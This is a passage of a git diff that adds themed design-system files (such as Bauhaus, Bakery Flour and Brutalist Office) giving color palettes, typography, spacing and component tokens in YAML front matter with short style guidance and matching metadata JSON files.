+description: Fashion-week black, silk ivory, thin everything. +colors: + primary: "#111110" + secondary: "#7A7670" + tertiary: "#8C6A3F" + neutral: "#F2EEE5" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Italiana + fontSize: 5.5rem + fontWeight: 400 + letterSpacing: "0.01em" + h1: + fontFamily: Italiana + fontSize: 2.75rem + fontWeight: 400 + body: + fontFamily: Jost + fontSize: 0.95rem + lineHeight: 1.65 + label: + fontFamily: Jost + fontSize: 0.72rem + letterSpacing: "0.22em" +rounded: + sm: 0px + md: 0px + lg: 0px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A runway-minimal system: ivory paper, charcoal text, ultra-tight type. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#111110`):** Headlines and core text. +- **Secondary (`#7A7670`):** Borders, captions, and metadata. +- **Tertiary (`#8C6A3F`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F2EEE5`):** The page foundation. + +## Typography + +- **display:** Italiana 5.5rem +- **h1:** Italiana 2.75rem +- **body:** Jost 0.95rem +- **label:** Jost 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/atelier-noir.meta.json b/imported-skills/designdotmd/designs/atelier-noir.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..e1d486ddf215b304764794408a245f1073c43191 --- /dev/null +++ b/imported-skills/designdotmd/designs/atelier-noir.meta.json @@ -0,0 +1,4 @@ +{ + "id": "atelier-noir", + "name": "Atelier Noir" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/bakery-flour.md b/imported-skills/designdotmd/designs/bakery-flour.md new file mode 100644 index 0000000000000000000000000000000000000000..4a80b1c8579d0bdf20ad4ca843dab510aea6181a --- /dev/null +++ b/imported-skills/designdotmd/designs/bakery-flour.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Bakery Flour +description: Artisan bakery: flour dust, rye, sourdough crust. +colors: + primary: "#2B1E12" + secondary: "#9B8670" + tertiary: "#C46A1E" + neutral: "#F5EEDC" + surface: "#FBF6E9" + on-primary: "#FBF6E9" +typography: + display: + fontFamily: Cormorant Garamond + fontSize: 5rem + fontWeight: 500 + letterSpacing: "-0.015em" + h1: + fontFamily: Cormorant Garamond + fontSize: 2.5rem + fontWeight: 500 + body: + fontFamily: Lora + fontSize: 1.02rem + lineHeight: 1.7 + label: + fontFamily: Lora + fontSize: 0.74rem + letterSpacing: "0.12em" +rounded: + sm: 8px + md: 14px + lg: 24px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +An artisan-bakery palette: flour-white surfaces, rye browns, crusty ember accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2B1E12`):** Headlines and core text. +- **Secondary (`#9B8670`):** Borders, captions, and metadata. +- **Tertiary (`#C46A1E`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F5EEDC`):** The page foundation. + +## Typography + +- **display:** Cormorant Garamond 5rem +- **h1:** Cormorant Garamond 2.5rem +- **body:** Lora 1.02rem +- **label:** Lora 0.74rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/bakery-flour.meta.json b/imported-skills/designdotmd/designs/bakery-flour.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..8d7fdc5c04e1e81e5083435987890811d8515f3a --- /dev/null +++ b/imported-skills/designdotmd/designs/bakery-flour.meta.json @@ -0,0 +1,4 @@ +{ + "id": "bakery-flour", + "name": "Bakery Flour" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/barbershop-pole.md b/imported-skills/designdotmd/designs/barbershop-pole.md new file mode 100644 index 0000000000000000000000000000000000000000..71c5288b43dc59ecbee2bbc1d06945c2135c7c91 --- /dev/null +++ b/imported-skills/designdotmd/designs/barbershop-pole.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Barbershop Pole +description: Classic barbershop: stripe red, ivory lather, nickel. +colors: + primary: "#15100D" + secondary: "#7A6E5E" + tertiary: "#B83A3A" + neutral: "#F3ECD9" + surface: "#FBF5E2" + on-primary: "#FBF5E2" +typography: + display: + fontFamily: Playfair Display + fontSize: 4.5rem + fontWeight: 700 + letterSpacing: "-0.02em" + h1: + fontFamily: Playfair Display + fontSize: 2.3rem + fontWeight: 600 + body: + fontFamily: Lora + fontSize: 1rem + lineHeight: 1.7 + label: + fontFamily: Lora + fontSize: 0.75rem + fontWeight: 600 + letterSpacing: "0.18em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A classic barbershop palette: lather ivory, barber-pole red stripe, deep brass accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#15100D`):** Headlines and core text. +- **Secondary (`#7A6E5E`):** Borders, captions, and metadata. +- **Tertiary (`#B83A3A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F3ECD9`):** The page foundation. + +## Typography + +- **display:** Playfair Display 4.5rem +- **h1:** Playfair Display 2.3rem +- **body:** Lora 1rem +- **label:** Lora 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/barbershop-pole.meta.json b/imported-skills/designdotmd/designs/barbershop-pole.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..6e370007759b0f8a4e08e1dd7f534cfd920d9910 --- /dev/null +++ b/imported-skills/designdotmd/designs/barbershop-pole.meta.json @@ -0,0 +1,4 @@ +{ + "id": "barbershop-pole", + "name": "Barbershop Pole" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/battle-royale.md b/imported-skills/designdotmd/designs/battle-royale.md new file mode 100644 index 0000000000000000000000000000000000000000..87b962e94ed5cab10e5e41627e58e9d47a328ab8 --- /dev/null +++ b/imported-skills/designdotmd/designs/battle-royale.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Battle Royale +description: Drop-in HUD: blood-orange alerts, squad chevrons. +colors: + primary: "#F2F2F0" + secondary: "#7A7E85" + tertiary: "#FF5A1F" + neutral: "#0B0C0F" + surface: "#141619" + on-primary: "#0B0C0F" +typography: + display: + fontFamily: Teko + fontSize: 5rem + fontWeight: 700 + letterSpacing: "0.02em" + h1: + fontFamily: Teko + fontSize: 2.6rem + fontWeight: 600 + body: + fontFamily: Inter + fontSize: 0.92rem + lineHeight: 1.5 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem + letterSpacing: "0.08em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A competitive-shooter HUD palette: near-black surface, orange alerts, squad-color chevrons. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F2F2F0`):** Headlines and core text. +- **Secondary (`#7A7E85`):** Borders, captions, and metadata. +- **Tertiary (`#FF5A1F`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0B0C0F`):** The page foundation. + +## Typography + +- **display:** Teko 5rem +- **h1:** Teko 2.6rem +- **body:** Inter 0.92rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/battle-royale.meta.json b/imported-skills/designdotmd/designs/battle-royale.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..773317cd692ef215f894c7e8dca5ddebe9c38cd0 --- /dev/null +++ b/imported-skills/designdotmd/designs/battle-royale.meta.json @@ -0,0 +1,4 @@ +{ + "id": "battle-royale", + "name": "Battle Royale" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/bauhaus.md b/imported-skills/designdotmd/designs/bauhaus.md new file mode 100644 index 0000000000000000000000000000000000000000..eabc15cad7421468f0af10dc09069f6c667ae2b2 --- /dev/null +++ b/imported-skills/designdotmd/designs/bauhaus.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Bauhaus +description: Primary red, primary yellow, primary blue. +colors: + primary: "#121212" + secondary: "#585858" + tertiary: "#E53935" + neutral: "#F4EFE4" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Archivo + fontSize: 4.5rem + fontWeight: 800 + letterSpacing: "-0.03em" + h1: + fontFamily: Archivo + fontSize: 2.5rem + fontWeight: 800 + body: + fontFamily: Archivo + fontSize: 1rem + lineHeight: 1.55 + label: + fontFamily: Archivo + fontSize: 0.75rem + letterSpacing: "0.08em" +rounded: + sm: 0px + md: 0px + lg: 0px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A geometric, primary-color system. Flat planes, heavy sans, no shadows. Pay attention to the shape. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#121212`):** Headlines and core text. +- **Secondary (`#585858`):** Borders, captions, and metadata. +- **Tertiary (`#E53935`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F4EFE4`):** The page foundation. + +## Typography + +- **display:** Archivo 4.5rem +- **h1:** Archivo 2.5rem +- **body:** Archivo 1rem +- **label:** Archivo 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/bauhaus.meta.json b/imported-skills/designdotmd/designs/bauhaus.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..de0ed54a4e14e51c281c3aa3c7c5c555b3bd87d2 --- /dev/null +++ b/imported-skills/designdotmd/designs/bauhaus.meta.json @@ -0,0 +1,4 @@ +{ + "id": "bauhaus", + "name": "Bauhaus" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/board-game-tavern.md b/imported-skills/designdotmd/designs/board-game-tavern.md new file mode 100644 index 0000000000000000000000000000000000000000..0c37619bee6af3ba351041e335ad56a3f390c89b --- /dev/null +++ b/imported-skills/designdotmd/designs/board-game-tavern.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Tavern Tabletop +description: Tabletop tavern: parchment map, wax-seal red, inked routes. +colors: + primary: "#22160E" + secondary: "#8A765C" + tertiary: "#B32A2A" + neutral: "#F0E1C6" + surface: "#F8EACC" + on-primary: "#F8EACC" +typography: + display: + fontFamily: IM Fell English + fontSize: 4.5rem + fontWeight: 400 + letterSpacing: "-0.01em" + h1: + fontFamily: IM Fell English + fontSize: 2.4rem + fontWeight: 400 + body: + fontFamily: Lora + fontSize: 1.02rem + lineHeight: 1.7 + label: + fontFamily: IM Fell English + fontSize: 0.82rem + letterSpacing: "0.1em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A board-game palette: parchment-map surface, wax-seal red, inked-route secondary. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#22160E`):** Headlines and core text. +- **Secondary (`#8A765C`):** Borders, captions, and metadata. +- **Tertiary (`#B32A2A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F0E1C6`):** The page foundation. + +## Typography + +- **display:** IM Fell English 4.5rem +- **h1:** IM Fell English 2.4rem +- **body:** Lora 1.02rem +- **label:** IM Fell English 0.82rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/board-game-tavern.meta.json b/imported-skills/designdotmd/designs/board-game-tavern.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..110a5ed150907c81548a7462d280ce6469f5f7ce --- /dev/null +++ b/imported-skills/designdotmd/designs/board-game-tavern.meta.json @@ -0,0 +1,4 @@ +{ + "id": "board-game-tavern", + "name": "Tavern Tabletop" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/botanical-apothecary.md b/imported-skills/designdotmd/designs/botanical-apothecary.md new file mode 100644 index 0000000000000000000000000000000000000000..628b0f42beb01e632c2f062a8fd341331f227979 --- /dev/null +++ b/imported-skills/designdotmd/designs/botanical-apothecary.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Botanical Apothecary +description: Herb apothecary: amber bottle, linen label, eucalyptus. +colors: + primary: "#22201B" + secondary: "#7A7264" + tertiary: "#5A7452" + neutral: "#F1EADD" + surface: "#F9F3E5" + on-primary: "#F9F3E5" +typography: + display: + fontFamily: Cormorant Garamond + fontSize: 4.5rem + fontWeight: 500 + letterSpacing: "-0.015em" + h1: + fontFamily: Cormorant Garamond + fontSize: 2.4rem + fontWeight: 500 + body: + fontFamily: Lora + fontSize: 1rem + lineHeight: 1.7 + label: + fontFamily: Lora + fontSize: 0.74rem + fontWeight: 600 + letterSpacing: "0.16em" +rounded: + sm: 4px + md: 8px + lg: 14px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +An apothecary palette: amber glass, linen labels, eucalyptus green highlights. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#22201B`):** Headlines and core text. +- **Secondary (`#7A7264`):** Borders, captions, and metadata. +- **Tertiary (`#5A7452`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F1EADD`):** The page foundation. + +## Typography + +- **display:** Cormorant Garamond 4.5rem +- **h1:** Cormorant Garamond 2.4rem +- **body:** Lora 1rem +- **label:** Lora 0.74rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/botanical-apothecary.meta.json b/imported-skills/designdotmd/designs/botanical-apothecary.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..3082b3d2cf8c4e5621bad268d812299845864ce0 --- /dev/null +++ b/imported-skills/designdotmd/designs/botanical-apothecary.meta.json @@ -0,0 +1,4 @@ +{ + "id": "botanical-apothecary", + "name": "Botanical Apothecary" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/botanical.md b/imported-skills/designdotmd/designs/botanical.md new file mode 100644 index 0000000000000000000000000000000000000000..d8e829f43b8f7dfd466a13c0a21dd913aaaa6663 --- /dev/null +++ b/imported-skills/designdotmd/designs/botanical.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Botanical +description: Pressed leaves, tea-stained paper, a copper ink. +colors: + primary: "#2A3A1F" + secondary: "#7D8064" + tertiary: "#B56A3F" + neutral: "#F0EAD6" + surface: "#F7F1DC" + on-primary: "#F7F1DC" +typography: + display: + fontFamily: Cormorant Garamond + fontSize: 4.75rem + fontWeight: 500 + letterSpacing: "-0.01em" + h1: + fontFamily: Cormorant Garamond + fontSize: 2.75rem + fontWeight: 500 + body: + fontFamily: Lora + fontSize: 1.05rem + lineHeight: 1.7 + label: + fontFamily: Inter + fontSize: 0.72rem + letterSpacing: "0.08em" +rounded: + sm: 2px + md: 6px + lg: 12px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A palette for slow publications and plant-adjacent brands. Deep herb green primary, parchment surface, copper accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2A3A1F`):** Headlines and core text. +- **Secondary (`#7D8064`):** Borders, captions, and metadata. +- **Tertiary (`#B56A3F`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F0EAD6`):** The page foundation. + +## Typography + +- **display:** Cormorant Garamond 4.75rem +- **h1:** Cormorant Garamond 2.75rem +- **body:** Lora 1.05rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/botanical.meta.json b/imported-skills/designdotmd/designs/botanical.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..bcb456653561b2298ac5b2642dd0bd5be318757c --- /dev/null +++ b/imported-skills/designdotmd/designs/botanical.meta.json @@ -0,0 +1,4 @@ +{ + "id": "botanical", + "name": "Botanical" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/broadsheet-01.md b/imported-skills/designdotmd/designs/broadsheet-01.md new file mode 100644 index 0000000000000000000000000000000000000000..16714bcae0609df8ea8a44ea94c0456e94eac0d8 --- /dev/null +++ b/imported-skills/designdotmd/designs/broadsheet-01.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Broadsheet 01 +description: Newsprint ink, column rules, masthead gravitas. +colors: + primary: "#0F0F0E" + secondary: "#5E5A54" + tertiary: "#B21F1F" + neutral: "#FBF9F2" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Old Standard TT + fontSize: 4.5rem + fontWeight: 700 + h1: + fontFamily: Old Standard TT + fontSize: 2.5rem + fontWeight: 700 + body: + fontFamily: Source Serif 4 + fontSize: 1.05rem + lineHeight: 1.7 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 700 + letterSpacing: "0.14em" +rounded: + sm: 0px + md: 0px + lg: 2px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A classical news-site system built on column grids. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0F0F0E`):** Headlines and core text. +- **Secondary (`#5E5A54`):** Borders, captions, and metadata. +- **Tertiary (`#B21F1F`):** The sole driver for interaction. Reserve it. +- **Neutral (`#FBF9F2`):** The page foundation. + +## Typography + +- **display:** Old Standard TT 4.5rem +- **h1:** Old Standard TT 2.5rem +- **body:** Source Serif 4 1.05rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/broadsheet-01.meta.json b/imported-skills/designdotmd/designs/broadsheet-01.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..0e024ce84c425676045eee3f2bda79f7353e98c3 --- /dev/null +++ b/imported-skills/designdotmd/designs/broadsheet-01.meta.json @@ -0,0 +1,4 @@ +{ + "id": "broadsheet-01", + "name": "Broadsheet 01" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/brutalist-office.md b/imported-skills/designdotmd/designs/brutalist-office.md new file mode 100644 index 0000000000000000000000000000000000000000..b238fcfc9ae768e37638c50030268b72a6a6ae35 --- /dev/null +++ b/imported-skills/designdotmd/designs/brutalist-office.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Brutalist Office +description: Concrete, grids, and a single warning-yellow. +colors: + primary: "#0A0A0A" + secondary: "#4B4B4B" + tertiary: "#E8FF00" + neutral: "#E8E6E1" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: JetBrains Mono + fontSize: 4rem + fontWeight: 700 + letterSpacing: "-0.04em" + h1: + fontFamily: JetBrains Mono + fontSize: 2rem + fontWeight: 700 + body: + fontFamily: JetBrains Mono + fontSize: 0.95rem + lineHeight: 1.5 + label: + fontFamily: JetBrains Mono + fontSize: 0.75rem + letterSpacing: "0" +rounded: + sm: 0px + md: 0px + lg: 0px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Unapologetic grids, monospace everywhere, no shadows. A single electric yellow punches through the slab. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0A0A0A`):** Headlines and core text. +- **Secondary (`#4B4B4B`):** Borders, captions, and metadata. +- **Tertiary (`#E8FF00`):** The sole driver for interaction. Reserve it. +- **Neutral (`#E8E6E1`):** The page foundation. + +## Typography + +- **display:** JetBrains Mono 4rem +- **h1:** JetBrains Mono 2rem +- **body:** JetBrains Mono 0.95rem +- **label:** JetBrains Mono 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/brutalist-office.meta.json b/imported-skills/designdotmd/designs/brutalist-office.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..8b3f90a0ae8ba778510f8f3de1003047912df727 --- /dev/null +++ b/imported-skills/designdotmd/designs/brutalist-office.meta.json @@ -0,0 +1,4 @@ +{ + "id": "brutalist-office", + "name": "Brutalist Office" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/cafe-racer.md b/imported-skills/designdotmd/designs/cafe-racer.md new file mode 100644 index 0000000000000000000000000000000000000000..5a56b007f06a608c64dad199aed84cc30548083c --- /dev/null +++ b/imported-skills/designdotmd/designs/cafe-racer.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Cafe Racer +description: Cafe-racer: engine black, tank stripe, chrome spoke. +colors: + primary: "#E8E4DB" + secondary: "#9B968C" + tertiary: "#C42E2E" + neutral: "#0B0B0C" + surface: "#141415" + on-primary: "#E8E4DB" +typography: + display: + fontFamily: Oswald + fontSize: 5rem + fontWeight: 700 + letterSpacing: "0.02em" + h1: + fontFamily: Oswald + fontSize: 2.4rem + fontWeight: 600 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Oswald + fontSize: 0.82rem + letterSpacing: "0.18em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A motorcycle-brand palette: engine-black surface, tank-stripe cream, chrome-silver highlights. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E8E4DB`):** Headlines and core text. +- **Secondary (`#9B968C`):** Borders, captions, and metadata. +- **Tertiary (`#C42E2E`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0B0B0C`):** The page foundation. + +## Typography + +- **display:** Oswald 5rem +- **h1:** Oswald 2.4rem +- **body:** Inter 0.95rem +- **label:** Oswald 0.82rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/cafe-racer.meta.json b/imported-skills/designdotmd/designs/cafe-racer.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..a410137be266d3f4cc95dc6bfb4e8b6d5ae5b6aa --- /dev/null +++ b/imported-skills/designdotmd/designs/cafe-racer.meta.json @@ -0,0 +1,4 @@ +{ + "id": "cafe-racer", + "name": "Cafe Racer" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/campaign-rally.md b/imported-skills/designdotmd/designs/campaign-rally.md new file mode 100644 index 0000000000000000000000000000000000000000..fa8a1847919726ceb49caa33a59e38339035f06f --- /dev/null +++ b/imported-skills/designdotmd/designs/campaign-rally.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Campaign Rally +description: Campaign signage: stars blue, bunting red, placard white. +colors: + primary: "#0B1F44" + secondary: "#5B6C8A" + tertiary: "#C22434" + neutral: "#F4F5F8" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Oswald + fontSize: 5.5rem + fontWeight: 700 + letterSpacing: "0.02em" + h1: + fontFamily: Oswald + fontSize: 2.6rem + fontWeight: 700 + body: + fontFamily: Source Serif 4 + fontSize: 1rem + lineHeight: 1.65 + label: + fontFamily: Oswald + fontSize: 0.82rem + letterSpacing: "0.18em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A political-campaign palette: stars-blue primary, bunting-red accent, placard-white surfaces. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0B1F44`):** Headlines and core text. +- **Secondary (`#5B6C8A`):** Borders, captions, and metadata. +- **Tertiary (`#C22434`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F4F5F8`):** The page foundation. + +## Typography + +- **display:** Oswald 5.5rem +- **h1:** Oswald 2.6rem +- **body:** Source Serif 4 1rem +- **label:** Oswald 0.82rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/campaign-rally.meta.json b/imported-skills/designdotmd/designs/campaign-rally.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..ce8b98366845463fb6a3d9ecc825e3f854581239 --- /dev/null +++ b/imported-skills/designdotmd/designs/campaign-rally.meta.json @@ -0,0 +1,4 @@ +{ + "id": "campaign-rally", + "name": "Campaign Rally" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/campus-collegiate.md b/imported-skills/designdotmd/designs/campus-collegiate.md new file mode 100644 index 0000000000000000000000000000000000000000..d1e6acffcdc5c689de6de5e95354b4faa7885096 --- /dev/null +++ b/imported-skills/designdotmd/designs/campus-collegiate.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Campus Collegiate +description: Ivy-league collegiate: maroon, oatmeal, crest gold. +colors: + primary: "#2E0D12" + secondary: "#8A6E73" + tertiary: "#B8842C" + neutral: "#F1EADF" + surface: "#FBF4E7" + on-primary: "#FBF4E7" +typography: + display: + fontFamily: Merriweather + fontSize: 4.25rem + fontWeight: 700 + letterSpacing: "-0.01em" + h1: + fontFamily: Merriweather + fontSize: 2.3rem + fontWeight: 700 + body: + fontFamily: Merriweather + fontSize: 1rem + lineHeight: 1.7 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 700 + letterSpacing: "0.16em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 